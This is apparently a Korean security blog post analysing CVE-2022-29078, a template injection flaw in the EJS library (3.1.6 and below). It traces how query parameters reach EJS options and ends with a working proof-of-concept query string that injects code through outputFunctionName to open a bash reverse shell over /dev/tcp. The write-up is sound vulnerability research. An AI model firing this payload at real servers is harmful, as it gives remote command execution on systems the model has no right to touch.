[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)

🚪 Intro
2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다.
취약한 EJS 버전은 `3.1.6` 이하 버전입니다. 해당 취약점은 `3.1.7`에서 패치 되었습니다.
💡Analysis
환경 세팅을 위해 아래와 같은 명령어로 취약한 EJS 버전을 설치해 줍니다.
npm install ejs@3.1.6
이후 간단한 코드를 작성하여 서버를 시작해 줍니다.
// index.js const express = require("express"); const app = express(); app.set("view engine", "ejs") app.get("/", (req, res) => { console.log(req.query); res.render("index", req.query); }) app.listen(8080, () => { console.log("runnging"); })
<!-- views/index.ejs --> <h1> You are viewing page number <%= id %> </h1>
index.js 파일에서 9번째 줄을 보면, GET 파라미터로 전송된 값을 `req.query` 변수를 통해 ejs template으로 넘겨주고 있습니다. 결론부터 말씀 드리자면, GET 파라미터로 전송된 값을 `req.query` 변수를 통해 ejs template으로 넘겨주는 코드로 인해 취약점이 트리거가 됩니다.
index.js 파일에서 9번째 줄에, `req.query` 변수를 인자로 전달하고 있습니다. express 모듈에서 로직을 처리한 뒤, `ejs.js:454` 줄에서 `args.shift()` 를 통해 data 변수에 저장됩니다.

동작을 확인하기 위해 454번째 줄에서 bp를 건 뒤, 브라우저도 `?id=aaaaa` 라는 값을 GET 방식으로 전달 합니다.
이때 `data` 변수에는 다음과 같은 값들이 저장됩니다. 잘 보면, `id: aaaaa` 라는 key, value 가 들어간 것을 볼 수 있죠.

이후 `ejs.js:473` 줄에서 아까 설명한 `data` 변수에서 `data.settings['view options']` 라는 값이 있으면 `475번째 줄` 에 있는 `utils.shallowCopy` 라는 함수가 동작하게 됩니다. 현재 상황에서는 위 사진을 보면 알 수 있듯이 `data` 변수에 `view options` 라는 key가 없습니다. 따라서 `475번째 줄` 코드가 실행되지 않습니다.

우선, `utils.shallowCopy()` 함수를 보면 다음과 같습니다. 두번째 인자의 값을 첫번째 인자에 복사한 뒤 리턴합니다. 이때 중요한 점은 첫번째 인자가 `opts` 라는 점 입니다. 이 내용을 잘 기억해 주세요.
만약 특정 변수를 overwrite 할 수 있다면, 어떤 것이 가장 좋을까요?

EJS는 Template를 rendering 할 때 javascript code를 실행해 주는 로직이 있습니다.
`prepended` 변수에는 javascript code가 있고, `opts.outputFunctionName` 값이 있다면 `opts.outputFunctionName` 값을 `prepended` 변수에 추가합니다. 공격자가 `opts.outputFunctionName` 값을 조작할 수 있다면 RCE가 가능하겠네요!

앞서 설명했던 `utils.shallowCopy()` 함수에서 첫번째 인자는 `opts` 변수 입니다. 즉, 공격자는 `opts` 변수에 원하는 값을 넣어 조작할 수 있습니다.
💡Exploit
`utils.shallowCopy()` 함수를 실행시키기 위해서는 `data.settings['view options']` 라는 값이 있어야 합니다.
따라서 공격자는 `?id=2&settings[view options][a]=b` 인자를 GET 방식으로 전송합니다.

디버깅을 통해 확인하면 `ejs.js:475` 번째 줄의 `utils.shallowCopy()` 함수가 실행됩니다. 이 함수가 실행되면 최종적으로 `opts` 변수에 `a: b` 라는 key, value 가 추가된 것을 볼 수 있습니다.

즉, 공격자는 `opts` 변수에 원하는 key와 value를 추가할 수 있게 되었습니다.
RCE를 하기 위해 앞서 설명했던 `opts.outputFunctionName` 값을 overwrite 해야 합니다.

따라서 최종적인 poc 코드는 다음과 같습니다.
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s

🚪 Reference
https://eslam.io/posts/ejs-server-side-template-injection-rce/
EJS, Server side template injection RCE (CVE-2022-29078) - writeup
Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level. Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS In my
eslam.io
'🔒Security' 카테고리의 다른 글
nodejs unicode (0) | 2022.10.06 |
---|---|
[분석일기] - php switch case (0) | 2022.09.06 |
Node.js querystring 함수 분석과 bug 설명 (0) | 2022.07.09 |
분석 일기 - file upload 취약점 (0) | 2022.05.12 |
분석 일기 - php dynamic variable (0) | 2022.04.03 |
댓글
이 글 공유하기
다른 글
-
nodejs unicode
nodejs unicode
2022.10.06 -
[분석일기] - php switch case
[분석일기] - php switch case
2022.09.061. Intro 얼마전 cake CTF 2022 대회가 있었는데, 일 때문에 주말에는 쉬고 싶어서 참가는 안했네요,,, 암튼 이후 writeup을 봤는데 신기해서 기록하고자 합니다. 2. switch case if else 구문이 지저분한 사람들이 switch case 구문을 좋아하더라구요. 아래처럼 switch case 구문이 있다고 가정해 봅시다. POST방식으로 `user` 정보를 받고 이를 json으로 파싱하고 있습니다. 이후 if 문으로 입력 값을 검증하고 있습니다. 최종적으로는 `user->name` 변수의 값이 admin 이어야 하지만, if문에서 admin 문자열을 필터링 하고 있습니다. 어떻게 하면 이를 bypass 할 수 있을까요? 정답은 switch case 구문에 있습니다. 공식 d… -
Node.js querystring 함수 분석과 bug 설명
Node.js querystring 함수 분석과 bug 설명
2022.07.09 -
분석 일기 - file upload 취약점
분석 일기 - file upload 취약점
2022.05.12🚪 Intro 취약점 및 CVE 획득을 위해 분석하고 있는 프로젝트가 있습니다. file upload를 통한 webshell 획득 과정을 정리하고자 합니다. 💡 Analysis 분석하려는 웹 사이트에는 업로드 기능이 존재 합니다. 다만 ico, webp, svg 확장자만 업로드 할 수 있습니다. 그런데 아래 코드를 보면서 의문점이 생기더라구요. 보통 파일 업로드 관련 기능을 만들 때, 확장자 검증은 .(dot) 을 기준으로 문자열을 나누어 맨 마지막 값을 확장자로 판단 합니다. 이렇게 추출된 확장자로 업로드 할 파일을 필터링 하게 되죠. 하지만, 위 코드는 `strpos()` 함수를 사용하여 업로드 파일의 확장자를 검사하고 있습니다. 이 함수는 문자열의 위치를 int 로 리턴합니다. 예를 들면, 아래와 …
댓글을 사용할 수 없습니다.